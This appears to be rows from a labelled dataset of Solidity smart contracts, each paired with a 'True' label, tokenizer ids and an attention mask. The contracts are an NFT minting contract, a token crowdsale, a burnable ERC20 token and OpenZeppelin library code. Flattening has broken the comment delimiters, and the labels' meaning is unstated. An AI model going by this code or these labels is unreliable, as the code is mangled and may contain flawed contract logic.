1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; // This is an NFT for Wise Owl Club https://wiseowlclub.io/ // smart contract developed by Ian Cherkowski https://twitter.com/IanCherkowski // Thanks to chiru-labs for their gas friendly ERC721A implementation. // import "./ERC721A.sol"; import "./Ownable.sol"; import "./IERC20.sol"; import "./ReentrancyGuard.sol"; contract WiseOwlClub is ERC721A, ReentrancyGuard, Ownable { event PaymentReceived(address from, uint256 amount); string private constant _name = "Wise Owl Club"; string private constant _symbol = "WOC"; string public baseURI = "https://ipfs.io/ipfs/QmSaXe9nBBaEmXwBDVLXYQwQq2iWVGoXSPvV8VgKfi73xk/"; uint256 public maxMint = 20; uint256 public presaleLimit = 500; uint256 public presalePrice = 0.08 ether; uint256 public mintPrice = 0.1 ether; uint256 public maxSupply = 3500; uint256 public presaleStart = 14315634; uint256 public mainStart = 14316447; mapping(address => uint8) public presaleList; uint16 public presaleCount; constructor() ERC721A(_name, _symbol) payable { } // @dev needed to enable receiving to test withdrawls receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } // @dev admin can mint to a list of addresses with the quantity entered function gift(address[] calldata recipients, uint256[] calldata amounts) external onlyOwner { uint256 numTokens; uint256 i; require(recipients.length == amounts.length, "Wise: The number of addresses is not matching the number of amounts"); //find total to be minted numTokens = 0; for (i = 0; i < recipients.length; i++) { numTokens += amounts[i]; } require(numTokens < 200, "Wise: Minting more than 200 may get stuck"); require(totalSupply() + numTokens <= maxSupply, "Wise: Can't mint more than the max supply"); //mint to the list for (i = 0; i < amounts.length; i++) { _safeMint(recipients[i], amounts[i]); } } // @dev public minting function mint(uint8 _mintAmount) external payable nonReentrant { uint256 supply = totalSupply(); require(msg.sender == tx.origin, "Wise: no contracts"); require(block.number > presaleStart, "Wise: Minting not started yet"); require(_mintAmount > 0, "Wise: Cant mint 0"); require(_mintAmount <= maxMint, "Wise: Must mint less than the max"); require(supply + _mintAmount <= maxSupply, "Wise: Cant mint more than max supply"); if (block.number < mainStart) { require(supply + _mintAmount <= presaleLimit, "Wise: Presale is sold out"); uint8 reserve = presaleList[msg.sender]; require(reserve > 0, "Wise: None left for you"); require(_mintAmount <= reserve, "Wise: Cant mint more than your allocation"); require(msg.value >= presalePrice * _mintAmount, "Wise: Must send eth of cost per nft"); presaleList[msg.sender] = reserve - _mintAmount; } else { require(msg.value >= mintPrice * _mintAmount, "Wise: Must send eth of cost per nft"); } _safeMint(msg.sender, _mintAmount); } // @dev record addresses of presale list function presaleSet(address[] calldata _addresses, uint8[] calldata _amounts) external onlyOwner { uint8 previous; require(_addresses.length == _amounts.length, "Wise: The number of addresses is not matching the number of amounts"); for(uint16 i; i < _addresses.length; i++) { previous = presaleList[_addresses[i]]; presaleList[_addresses[i]] = _amounts[i]; presaleCount = presaleCount + _amounts[i] - previous; } } // @dev set cost of minting function setMintPrice(uint256 _newmintPrice) external onlyOwner { mintPrice = _newmintPrice; } // @dev set cost of presale minting function setPresalePrice(uint256 _newmintPrice) external onlyOwner { presalePrice = _newmintPrice; } // @dev max supply during presale function setPresaleLimit(uint256 _newLimit) external onlyOwner { presaleLimit = _newLimit; } // @dev max mint amount per transaction function setMaxMint(uint256 _newMaxMintAmount) external onlyOwner { maxMint = _newMaxMintAmount; } // @dev main minting start block function setMainStart(uint256 _start) external onlyOwner { mainStart = _start; } // @dev presale start block function setPresaleStart(uint256 _start) external onlyOwner { presaleStart = _start; } // @dev Set the base url path to the metadata used by opensea function setBaseURI(string memory _baseTokenURI) external onlyOwner { baseURI = _baseTokenURI; } // @dev show the baseuri function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // @dev used to withdraw erc20 tokens like DAI function withdrawERC20(IERC20 token, address to) external onlyOwner { token.transfer(to, token.balanceOf(address(this))); } // @dev used to withdraw eth function withdraw(address payable to) external onlyOwner { Address.sendValue(to,address(this).balance); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2260, 1025, 1013, 1013, 2023, 2003, 2019, 1050, 6199, 2005, 7968, 13547, 2252, 16770, 1024, 1013, 1013, 7968, 5004, 15472, 27959, 1012, 22834, 1013, 1013, 1013, 6047, 3206, 2764, 2011, 4775, 24188, 15449, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 4775, 7474, 15449, 1013, 1013, 4283, 2000, 9610, 6820, 1011, 13625, 2005, 2037, 3806, 5379, 9413, 2278, 2581, 17465, 2050, 7375, 1012, 1013, 1013, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 3206, 7968, 5004, 15472, 27959, 2003, 9413, 2278, 2581, 17465, 2050, 1010, 2128, 4765, 5521, 5666, 18405, 1010, 2219, 3085, 1063, 2724, 7909, 2890, 3401, 3512, 2094, 1006, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 1025, 5164, 2797, 5377, 1035, 2171, 1027, 1000, 7968, 13547, 2252, 1000, 1025, 5164, 2797, 5377, 1035, 6454, 1027, 1000, 24185, 2278, 1000, 1025, 5164, 2270, 2918, 9496, 1027, 1000, 16770, 1024, 1013, 1013, 12997, 10343, 1012, 22834, 1013, 12997, 10343, 1013, 1053, 5244, 8528, 2063, 2683, 27698, 3676, 6633, 2595, 2860, 2497, 2094, 2615, 2140, 18037, 4160, 2860, 4160, 4160, 2475, 2072, 2860, 2615, 3995, 2595, 13102, 2615, 2615, 2620, 2615, 2290, 2243, 8873, 2581, 2509, 2595, 2243, 1013, 1000, 1025, 21318, 3372, 17788, 2575, 2270, 4098, 10020, 2102, 1027, 2322, 1025, 21318, 3372, 17788, 2575, 2270, 3653, 12002, 20806, 22930, 1027, 3156, 1025, 21318, 3372, 17788, 2575, 2270, 3653, 12002, 13699, 17599, 1027, 1014, 1012, 5511, 28855, 1025, 21318, 3372, 17788, 2575, 2270, 12927, 18098, 6610, 1027, 1014, 1012, 1015, 28855, 1025, 21318, 3372, 17788, 2575, 2270, 4098, 6342, 9397, 2135, 1027, 8698, 2692, 1025, 21318, 3372, 17788, 2575, 2270, 3653, 12002, 4355, 8445, 1027, 16065, 16068, 2575, 22022, 1025, 21318, 3372, 17788, 2575, 2270, 2364, 14117, 2102, 1027, 16065, 16048, 22932, 2581, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 2620, 1007, 2270, 3653, 12002, 29282, 2102, 1025, 21318, 3372, 16048, 2270, 3653, 12002, 8586, 21723, 1025, 9570, 2953, 1006, 1007, 9413, 2278, 2581, 17465, 2050, 1006, 1035, 2171, 1010, 1035, 6454, 1007, 3477, 3085, 1063, 1065, 1013, 1013, 1030, 16475, 2734, 2000, 9585, 4909, 2000, 3231, 10632, 4877, 4374, 1006, 1007, 6327, 3477, 3085, 7484, 1063, 12495, 2102, 7909, 2890, 3401, 3512, 2094, 1006, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 5796, 2290, 1012, 3643, 1007, 1025, 1065, 1013, 1013, 1030, 16475, 4748, 10020, 2064, 12927, 2000, 1037, 2862, 1997, 11596, 2007, 1996, 11712, 3133, 3853, 5592, 1006, 4769, 1031, 1033, 2655, 2850, 2696, 15991, 1010, 21318, 3372, 17788, 2575, 1031, 1033, 2655, 2850, 2696, 8310, 1007, 6327, 2069, 12384, 2121, 1063, 21318, 3372, 17788, 2575, 16371, 20492, 11045, 3619, 1025, 21318, 3372, 17788, 2575, 1045, 1025, 5478, 1006, 15991, 1012, 3091, 1027, 1027, 8310, 1012, 3091, 1010, 1000, 7968, 1024, 1996, 2193, 1997, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** * * /$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$ /$$$$$$$$ \| $$_____//$$__ $$\| $$ \| $$ /$$__ $$\| $$__ $$ /$$__ $$ /$$__ $$\|_ $$_/\| $$$ \| $$ /$$__ $$ /$$__ $$\| $$ \| $$_____/ \| $$ \| $$ \ $$\| $$ \| $$\| $$ \ $$\| $$ \ $$ \| $$ \__/\| $$ \ $$ \| $$ \| $$$$\| $$ \| $$ \__/\| $$ \ $$\| $$ \| $$ \| $$$$$ \| $$$$$$$$\| $$ / $$/\| $$ \| $$\| $$$$$$$/ \| $$ \| $$ \| $$ \| $$ \| $$ $$ $$ \| $$$$$$ \| $$$$$$$$\| $$ \| $$$$$ \| $$__/ \| $$__ $$ \ $$ $$/ \| $$ \| $$\| $$__ $$ \| $$ \| $$ \| $$ \| $$ \| $$ $$$$ \____ $$\| $$__ $$\| $$ \| $$__/ \| $$ \| $$ \| $$ \ $$$/ \| $$ \| $$\| $$ \ $$ \| $$ $$\| $$ \| $$ \| $$ \| $$\ $$$ /$$ \ $$\| $$ \| $$\| $$ \| $$ \| $$ \| $$ \| $$ \ $/ \| $$$$$$/\| $$ \| $$ \| $$$$$$/\| $$$$$$/ /$$$$$$\| $$ \ $$ \| $$$$$$/\| $$ \| $$\| $$$$$$$$\| $$$$$$$$ \|__/ \|__/ \|__/ \_/ \______/ \|__/ \|__/ \______/ \______/ \|______/\|__/ \__/ \______/ \|__/ \|__/\|________/\|________/ εɖɖίε રεĢĢίε ĵΘε * * * * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt / pragma solidity ^0.5.17; import "./IncreasingPriceCrowdsale.sol"; import "./Ownable.sol"; import "./ERC20.sol"; contract FavorCoinSale is IncreasingPriceCrowdsale { uint256 public defaultCap; mapping(address => uint256) public contributions; mapping(address => uint256) public caps; address private ownerwallet; constructor ( uint256 _openingTime, uint256 _closingTime, address payable _wallet, address _token, uint256 _initialRate, uint256 _finalRate, uint256 _walletCap ) public FavorCoinCrowdsale(_initialRate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) IncreasingPriceCrowdsale(_initialRate, _finalRate) { ownerwallet=_wallet; defaultCap = _walletCap; } function closeSale() onlyOwner payable public{ uint256 contractTokenBalance = tokensRemaining(); if(contractTokenBalance>0){ ERC20(token).transfer(ownerwallet,contractTokenBalance); emit Transfer(address(0),address(ownerwallet),contractTokenBalance); } (bool success, bytes memory mem) = address(wallet).call.value(address(this).balance).gas(21000)(''); require(success); } /* * @dev Sets default user's maximum contribution. * @param _cap Wei limit for individual contribution / function setDefaultCap( uint256 _cap) external onlyOwner { defaultCap = _cap; } /* * @dev Sets a specific user's maximum contribution. * @param _beneficiary Address to be capped * @param _cap Wei limit for individual contribution / function setUserCap(address _beneficiary, uint256 _cap) external onlyOwner { caps[_beneficiary] = _cap; } /* * Called from invest() to confirm if the curret investment does not break our cap rule. / function isBreakingCap(uint tokenAmount) public view returns (bool limitBroken) { if(tokenAmount > getTokensLeft()) { return true; } else { return false; } } /* * We are sold out when our approve pool becomes empty. / function isCrowdsaleFull() public view returns (bool) { return getTokensLeft() == 0; } /* * Get the amount of unsold tokens allocated to this contract; / function getTokensLeft() public view returns (uint) { return token.allowance(owner, address(this)); } /* * Transfer tokens from approve() pool to the buyer. * * Use approve() given to this crowdsale to distribute the tokens. / function assignTokens(address receiver, uint tokenAmount) public onlyOwner { if(!token.transferFrom(address(0), receiver, tokenAmount)) revert(); } /* * @dev Sets a group of users' maximum contribution. * @param _beneficiaries List of addresses to be capped * @param _cap Wei limit for individual contribution / function setGroupCap( address[] calldata _beneficiaries, uint256 _cap ) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { caps[_beneficiaries[i]] = _cap; } } /* * @dev Returns the cap of a specific user. * @param _beneficiary Address whose cap is to be checked * @return Current cap for individual user / function getUserCap(address _beneficiary) public view returns (uint256) { return caps[_beneficiary]; } /* * @dev Returns the amount contributed so far by a sepecific user. * @param _beneficiary Address of contributor * @return User contribution so far / function getUserContribution(address _beneficiary) public view returns (uint256) { return contributions[_beneficiary]; } /* * @dev Extend parent behavior requiring purchase to respect the user's funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed / function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); if(caps[_beneficiary]==0){ caps[_beneficiary] = defaultCap; } require(contributions[_beneficiary].add(_weiAmount) <= caps[_beneficiary]); } /* * @dev Extend parent behavior to update user contributions * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } }	True	[ 101, 1013, 1008, 1008, 1008, 1008, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1064, 1002, 1002, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1002, 1002, 1035, 1035, 1002, 1002, 1064, 1002, 1002, 1064, 1002, 1002, 1013, 1002, 1002, 1035, 1035, 1002, 1002, 1064, 1002, 1002, 1035, 1035, 1002, 1002, 1013, 1002, 1002, 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pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract VHW is BurnableToken { string public name = "VHW"; string public symbol = "VHW"; uint public decimals = 6; uint public INITIAL_SUPPLY = 352500000 * (10 ** decimals); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 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// SPDX-License-Identifier: MIT pragma solidity 0.8.7; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Part: OpenZeppelin/[email protected]/IERC165 /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC721Receiver /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // Part: OpenZeppelin/[email protected]/Strings /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { 